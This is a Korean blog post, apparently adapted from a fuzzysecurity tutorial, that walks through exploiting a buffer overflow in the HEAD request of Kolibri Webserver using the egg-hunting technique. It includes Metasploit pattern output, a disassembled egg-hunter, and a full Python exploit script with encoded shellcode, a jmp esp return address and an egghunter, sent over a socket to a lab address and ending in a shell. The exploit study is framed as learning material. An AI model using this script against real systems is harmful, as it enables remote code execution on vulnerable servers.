[Window Application Exploit] Egg hunting



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 4 -> Egg hunting을 분석 및 의역하여 작성하였습니다. 

Windows Application에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. Application

간단한 Webserver program 입니다. port 8080으로 설정하고 활성화 시키면 port가 열린것을 알 수 있습니다.

 

 

간단한 Request Method를 작성해 보냈더니 kolibri webserver 상태창에 보낸 data가 나오는 것을 알 수 있습니다.

 

 

Step 2. 취약점 분석

Kolibri Webserver의 취약점은 request method에서 HEAD인자로 보내주는 data가 BOF를 일으킬 수 있는 것입니다.


그렇다면 내가 보낸 data들 중 HEAD인자의 data는 stack에 쌓인다는 것을 유추할 수 있습니다.
HEAD에 “AAAA…”를 넣어 실행 결과를 봤더니 EIP가 0x41414141로 바뀌어 있는 것을 알 수 있습니다.

 

 

pattern을 생성해서 exploit code에 넣어보겠습니다. 

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

 

SEH chain 상태가 바뀌어 있는 것을 알 수 있습니다. handler 함수의 주소를 살펴보면 0x74413574로 나타나 있습니다. 해당 offset으로 맞추고 진행하였으나 handler방향으로 빠지지 않고 계속 다른 쪽으로 code가 진행되었습니다.

 

일단 return address를 덮는 방향으로만 진행 할 것입니다.

 

 

 

Step 3. Exploit

jmp esp code를 먼저 찾아내고 EIP에 덮어 breakpoint를 건 후 실행합니다.

 

 

breakpoint가 걸린 상태에서 esp의 위치는 붉은 줄이 쳐져있는 부분입니다. 그 뒤에는 보내주는 data가 담기게 됩니다.

 

 

지금 있는 esp 위치에 jmp short(address) code를 넣어 줍니다.

어림잡아 -160 bytes를 옮긴다하면 \xeb\x60 이라는 어셈블리가 나옵니다. 이 code를 exploit에 포함시키고 실행합니다.

 

 

보내준 "AAA..." data를 어셈블리처럼 읽어 실행하는것을 볼 수 있습니다. 여기에다 shellcode를 넣으면 정상적으로 shellcode가 실행될 것입니다.

 

 

 

그런데 한가지 문제가 있습니다. shellcode를 넣기에는 buffer의 size가 많이 부족합니다.

 

linux exploit 중 특정 buffer에 shellcode를 넣을만한 크기가 나오지 않는다면 이를 환경변수나 다른 memory에 등록하고 사용하는 방법이 있습니다.

 

Windows에서도 마찬가지로 shellcode 앞부분에 tag를 붙여놓고 실행 code에서 tag를 찾아내 실행시키는 방법이 있습니다. 그렇다면 tag + shellcode를 다른 큰 공간에 넣어두고 size가 작은 실행시킬 수 있는 공간에 tag finder code를 넣어 shellcode를 넣어 실행시키면 됩니다.

 

이를 Egg hunting 기법이라고 합니다.

 

다음은 Egg hunting code의 실행방식입니다. 

6681CAFF0F or dx, 0x0fff 페이지에 있는 마지막 주소를 가져옴
42 in edx 카운터 역할을 수행 ( edx = edx + 1)
52 push edx 스택에 edx 값을 삽입 ( 현재 주소 저장 )
6A43 push byte + 0x2 NtAccessCheckAndAuditAlarm을 위해 0x2 삽입 / NtDisplayString을 위해 0x43 삽입
58 pop eax 0x2 / 0x43 값을 eax로 가져옴 이를 이용해 eax가 시스템 콜의 인자로 사용됨
CD2E int 0x2e 커널에게 인자로 사용되는 레지스터(eax)를 이용해 시스템 콜을 호출할 것을 알림
3C05 cmp al, 0x5 접근 위반 발생 체크 ( 0xc0000005 == Access_Violation )
5A pop edx edx 값 복구
74EF je xxxx dx 0x0fffff 시작으로 다시 점프
B890509050 mov eax, 0x50905090 에그 헌터의 태그 부분
8BFA mov edi, edx edi 레지스터를 포인터로 세트
AF scasd 상태 비교
75EA jnz xxxx (int edx 주소로 돌아감) 에그 발견 여부 체크
AF scasd 상태 비교 ( 에그가 발견되면 )
75E7 jnz xxxx ( int edx 주소로 돌아감 ) 첫 번째 에그가 발견되면
FFE7 jmp edi edi는 진짜 쉘코드의 시작 부분을 가리킴

 

Immunity debugger에서 tag를 넣어 code를 생성할 수 있습니다. 다음은 !mona egg -t b33f 라는 명령어를 넣어 tag가 b33f 인 egg hunting code를 만들었습니다.

 

 

 

User-Agent에 tag를 붙인 shellcode를 넣고 실행시켰습니다.  

import socket
import struct

jmp = 0x7d5b30d7

egg = ""
egg += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egg += "\xef\xb8\x62\x33\x33\x66\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

shellcode = ""
shellcode = ("\x89\xe1\xdb\xc2\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
	"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
	"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
	"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
	"\x79\x6c\x48\x68\x4e\x62\x65\x50\x47\x70\x47\x70\x55\x30\x6d"
	"\x59\x79\x75\x56\x51\x49\x50\x52\x44\x4c\x4b\x70\x50\x64\x70"
	"\x6c\x4b\x36\x32\x66\x6c\x4c\x4b\x72\x72\x75\x44\x4e\x6b\x52"
	"\x52\x67\x58\x36\x6f\x48\x37\x42\x6a\x65\x76\x35\x61\x39\x6f"
	"\x6c\x6c\x55\x6c\x43\x51\x53\x4c\x35\x52\x56\x4c\x51\x30\x4b"
	"\x71\x5a\x6f\x66\x6d\x35\x51\x4b\x77\x4a\x42\x79\x62\x61\x42"
	"\x73\x67\x6e\x6b\x33\x62\x46\x70\x6e\x6b\x61\x5a\x35\x6c\x4c"
	"\x4b\x30\x4c\x66\x71\x74\x38\x68\x63\x73\x78\x46\x61\x58\x51"
	"\x32\x71\x4c\x4b\x62\x79\x77\x50\x76\x61\x68\x53\x6e\x6b\x72"
	"\x69\x44\x58\x58\x63\x65\x6a\x31\x59\x6e\x6b\x45\x64\x6e\x6b"
	"\x76\x61\x7a\x76\x75\x61\x4b\x4f\x6c\x6c\x4a\x61\x4a\x6f\x74"
	"\x4d\x55\x51\x4f\x37\x77\x48\x39\x70\x42\x55\x6b\x46\x56\x63"
	"\x31\x6d\x68\x78\x47\x4b\x31\x6d\x67\x54\x62\x55\x78\x64\x31"
	"\x48\x6e\x6b\x61\x48\x51\x34\x63\x31\x4b\x63\x33\x56\x6e\x6b"
	"\x36\x6c\x42\x6b\x6e\x6b\x62\x78\x55\x4c\x53\x31\x39\x43\x4c"
	"\x4b\x36\x64\x4c\x4b\x63\x31\x68\x50\x6e\x69\x67\x34\x56\x44"
	"\x51\x34\x33\x6b\x63\x6b\x75\x31\x52\x79\x33\x6a\x42\x71\x49"
	"\x6f\x4b\x50\x73\x6f\x51\x4f\x62\x7a\x4c\x4b\x55\x42\x58\x6b"
	"\x4e\x6d\x33\x6d\x42\x48\x47\x43\x35\x62\x75\x50\x67\x70\x63"
	"\x58\x33\x47\x51\x63\x75\x62\x63\x6f\x76\x34\x61\x78\x50\x4c"
	"\x42\x57\x76\x46\x76\x67\x59\x6f\x7a\x75\x4c\x78\x6e\x70\x77"
	"\x71\x35\x50\x57\x70\x35\x79\x7a\x64\x33\x64\x62\x70\x30\x68"
	"\x36\x49\x6f\x70\x52\x4b\x53\x30\x69\x6f\x6a\x75\x33\x5a\x74"
	"\x48\x36\x39\x42\x70\x6d\x32\x69\x6d\x71\x50\x72\x70\x77\x30"
	"\x52\x70\x50\x68\x39\x7a\x56\x6f\x4b\x6f\x6b\x50\x39\x6f\x4b"
	"\x65\x4f\x67\x75\x38\x57\x72\x43\x30\x46\x47\x34\x4f\x6e\x69"
	"\x69\x76\x70\x6a\x54\x50\x51\x46\x30\x57\x42\x48\x69\x52\x59"
	"\x4b\x77\x47\x75\x37\x59\x6f\x6a\x75\x43\x67\x45\x38\x4e\x57"
	"\x69\x79\x56\x58\x59\x6f\x59\x6f\x79\x45\x66\x37\x65\x38\x33"
	"\x44\x68\x6c\x37\x4b\x39\x71\x6b\x4f\x4a\x75\x61\x47\x4d\x47"
	"\x35\x38\x72\x55\x70\x6e\x32\x6d\x50\x61\x69\x6f\x49\x45\x42"
	"\x48\x30\x63\x30\x6d\x30\x64\x65\x50\x6b\x39\x6d\x33\x66\x37"
	"\x52\x77\x72\x77\x66\x51\x58\x76\x62\x4a\x65\x42\x63\x69\x43"
	"\x66\x58\x62\x59\x6d\x63\x56\x6b\x77\x67\x34\x67\x54\x47\x4c"
	"\x65\x51\x33\x31\x4c\x4d\x42\x64\x71\x34\x64\x50\x6f\x36\x45"
	"\x50\x57\x34\x71\x44\x52\x70\x52\x76\x73\x66\x52\x76\x61\x56"
	"\x56\x36\x32\x6e\x63\x66\x52\x76\x32\x73\x66\x36\x75\x38\x61"
	"\x69\x38\x4c\x67\x4f\x4c\x46\x39\x6f\x79\x45\x6d\x59\x6b\x50"
	"\x32\x6e\x43\x66\x70\x46\x39\x6f\x56\x50\x65\x38\x47\x78\x4b"
	"\x37\x57\x6d\x73\x50\x59\x6f\x6e\x35\x6d\x6b\x6a\x50\x68\x35"
	"\x49\x32\x73\x66\x43\x58\x6d\x76\x6c\x55\x4f\x4d\x4f\x6d\x39"
	"\x6f\x59\x45\x45\x6c\x47\x76\x51\x6c\x55\x5a\x4f\x70\x69\x6b"
	"\x79\x70\x54\x35\x37\x75\x6d\x6b\x37\x37\x75\x43\x44\x32\x52"
	"\x4f\x53\x5a\x77\x70\x36\x33\x59\x6f\x49\x45\x41\x41")
	
stage1 = "\x90" * 40
stage1 += egg
stage1 += "\x41" * (515 - len(stage1))
stage1 += struct.pack('<L', jmp)
stage1 += "\xeb\x60"

stage2 = ""
stage2 += "b33fb33f"
stage2 += shellcode

buf = (
	"HEAD /" + stage1 + " HTTP/1.1\r\n"
	"Host: 192.168.236.128:8080\r\n"
	"User-Agent: " + stage2 + "\r\n"
	"Keep-Alive: 115\r\n"
	"Connection: keep-alive\r\n\r\n")

proc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proc.connect(("192.168.236.128", 8080))
proc.send(buf)
proc.close()

 

실행시키면 다음과 같이 log창이 뜨게됩니다.

 

 

 

그리고 내 로컬환경에서 shell을 실행 시킬 수 있습니다.

 

 

이 글을 공유하기

댓글